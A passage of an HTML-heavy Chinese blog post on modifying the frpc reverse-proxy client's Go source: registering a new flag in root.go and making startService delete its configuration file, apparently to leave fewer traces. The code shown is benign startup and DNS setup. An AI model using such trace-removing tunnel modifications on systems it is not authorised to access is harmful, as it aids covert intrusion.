14px;">frpc</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sub</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">root</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>的 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">RegisterCommonFlags</span></code>里进行注册参数即可。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">然后在 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">cmd</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">frpc</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sub</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">root</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>里的 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">startService</span></code>方法里进行判断调用删除配置文件即可。</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(247, 243, 247);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">func startService</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    cfg config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ClientCommonConf</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    pxyCfgs map</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ProxyConf</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    visitorCfgs map</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">VisitorConf</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    cfgFile </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">err error</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    log</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">InitLog</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LogWay</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LogFile</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LogLevel</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">LogMaxDays</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DisableLogColor</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DNSServer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        s </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DNSServer</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">strings</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Contains</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">s</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;:&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            s </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;:53&#34;</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(90, 123, 140);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// Change default dns server for frpc</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">DefaultResolver</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&amp;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Resolver</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">PreferGo</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dial</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> func</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ctx context</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit 